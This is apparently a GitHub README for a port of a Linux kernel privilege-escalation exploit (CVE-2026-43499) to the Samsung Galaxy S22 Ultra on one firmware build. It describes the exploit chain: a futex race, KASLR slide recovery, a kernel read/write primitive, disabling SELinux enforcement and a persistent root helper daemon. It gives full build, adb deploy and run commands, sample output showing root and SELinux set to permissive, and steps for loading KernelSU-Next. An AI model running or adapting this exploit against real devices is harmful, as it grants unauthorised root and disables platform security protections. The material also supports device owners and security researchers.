CVE-2026-43499 - Galaxy S22 Ultra

https://github.com/user-attachments/assets/f3d0858d-f8f5-444f-8ae5-541c2bc744c3

This repository contains a device-specific port of the CVE-2026-43499 exploit for the Samsung Galaxy S22 Ultra (SM-S908W).

Supported target

Device: Samsung Galaxy S22 Ultra (SM-S908W)
Codename: b0q
Android: 15 / SDK 35
Build number: AP3A.240905.015.A2.S908WVLS8FYG7
Build display ID: AP3A.240905.015.A2.S908WVLS8FYG7
Build fingerprint: samsung/b0qcsx/b0q:15/AP3A.240905.015.A2/S908WVLS8FYG7:user/release-keys
Kernel: 5.10.226-android12-9-30958166-abS908WVLS8FYG7
Architecture: aarch64

The offsets and structure layouts in this repository are specific to the firmware above. Other models and firmware builds are not supported by this target profile.

Reference source

This port is based on the exploit implementation published in:

NebuSec/CyberMeowfia — IonStack/CVE-2026-43499/exploit
BuSung-dev/CVE-2026-43499-S25U
Upstream revision used as the porting base: b850d3bddc74c3328d5fbcc0568d21962b55d949

Special thanks to:

F-19-F/IonStackQuest3

The upstream Apache License 2.0 is retained in LICENSE.

Main porting changes

Ported exploit from v6.6 kernel (Galaxy S25 Ultra) to Android v5.10 kernel (Galaxy S22 Ultra / b0q).
Added the b0q / S908WVLS8FYG7 target offsets (src/targets/S908WVLS8FYG7/target.h) and kernel structure layouts.
Replaced the pselect race with the exp32 route: futex choreography, 32-bit stack stamp, and sched_setattr run in an embedded 32-bit child stage (src/exp32/).
Added tracefs-based automatic KASLR slide recovery for the Samsung kernel.
Ported fake PI waiter/task layout, CFI/FOPS stage, and physical read/write primitive for v5.10.
Added a KDP-safe system_unbound_wq user-mode-helper root path and updated runtime SELinux enforcement target to selinux_state.enforcing.
Added a socket-backed root command helper at /data/local/tmp/cve-2026-43499-root.
Restores the global ashmem FOPS pointer immediately after establishing the arbitrary read/write primitive.
Retains reclaimed pages in a detached cve43499-hold process after success so dangling kernel references cannot be recycled into unrelated slab objects.

Build

Set ANDROID_NDK_HOME to Android NDK r27+ or a compatible toolchain, then run:

make PROJECT=S908WVLS8FYG7 clean preload root-helper

To build for a QEMU environment running the Android kernel with a Buildroot filesystem:

Buildroot Toolchain Release: Download toolchain from sarabpal-dev/qemu Release (samsung-v1)
QEMU Kernel Execution Guide: Setup and run guide at QEMU Samsung README

make USE_BUILDROOT=1 PROJECT=S908WVLS8FYG7 clean preload root-helper

Outputs:

build/S908WVLS8FYG7/bin/cve-2026-43499
build/S908WVLS8FYG7/bin/cve-2026-43499-root
build/S908WVLS8FYG7/bin/cve-exp32

Deploy

adb push build/S908WVLS8FYG7/bin/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/S908WVLS8FYG7/bin/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb push build/S908WVLS8FYG7/bin/cve-exp32 /data/local/tmp/cve-exp32
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root /data/local/tmp/cve-exp32

Run

Execute the exploit stage to start the root daemon:

adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"

Once successful, pop an interactive root shell from anywhere on the device:

adb shell "/data/local/tmp/cve-2026-43499-root"

Or execute root commands directly:

adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"

The default run makes up to 16 independent attempts. Each failed child exits before the next attempt, so its file descriptors and heap-shaping allocations are released instead of accumulating inside one long-lived exploit process. The default base delay is 20000 microseconds and the supervisor sweeps the following sequence twice:

20000, 30000, 50000, 25000, 40000, 15000, 60000, 35000

Override the attempt count or base delay when collecting timing data:

adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"

Verified result on S908WVLS8FYG7:

[*] root umh result wake=1 complete=1 retval=0 socket=1
[+] pipe-physrw-summary pid=5011 done=1 root=1 kaslr=1 base=ffffffc0080d8000 slide=00000000000d8000
[+] pipe physrw pid=5011 done=1 root=1 kaslr=1 read_ok=1 write_ok=1 rw64=1/1 uid=2000->0
[+] stability keeper pid=28206 retaining reclaimed kernel pages
[+] exploit completed attempt=1/16

Interactive root shell session:

b0q:/data/local/tmp $ ./cve-2026-43499-root                              
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
:/ # getenforce
Permissive

The initial stage is race-based. A child that exits with root=0 is retried automatically. Successful execution restores ashmem_misc.fops, switches SELinux to permissive, and starts the root helper daemon until the next reboot.

Persistent root with KernelSU-Next

The exploit above only holds root for the current boot. To get a Manager app and su-style control for the rest of the session, load KernelSU-Next as a late-load kernel module through the root helper.

Download both release assets from v3.3.0-android12-5.10:
- KernelSU_Next_v3.3.0-release.apk — Manager app
- kernelsu-android12-5.10.ko — LKM kernel module
Install the Manager APK:

adb install KernelSU_Next_v3.3.0-release.apk

Push the module and load it through the root helper obtained above:

adb push kernelsu-android12-5.10.ko /data/local/tmp/kernelsu-android12-5.10.ko
adb shell "/data/local/tmp/cve-2026-43499-root -c 'insmod /data/local/tmp/kernelsu-android12-5.10.ko'"

Open the KernelSU Next app on the device — it should detect the loaded module and expose superuser management, module/Zygisk support, and ksud soft-reboot.

Since this is a late-loaded LKM (not a patched boot image), it does not survive a reboot — you'll need to re-run the exploit and re-insmod the module each time the device restarts.

[!WARNING] Reliability & Kernel Panic Notice: The race stage is timing-sensitive and currently unreliable—it may fail or cause a kernel panic on most runs. Be patient, as clean boots offer a higher success rate. Future optimizations may be released to improve reliability.

[!TIP] Stability & Success Rate Recommendations:

Reboot Device: For the highest success rate, reboot the device before running the exploit to ensure clean slab/heap state.

Close Background Apps: Ensure all background applications are closed.

Unlock Screen & Stay Idle: Keep the device unlocked and do not interact with or use the phone while the exploit is running, as active user input/background tasks can disturb timing and potentially trigger a kernel panic.

Use only on devices you own or are explicitly authorized to test.

IonStack-S22U

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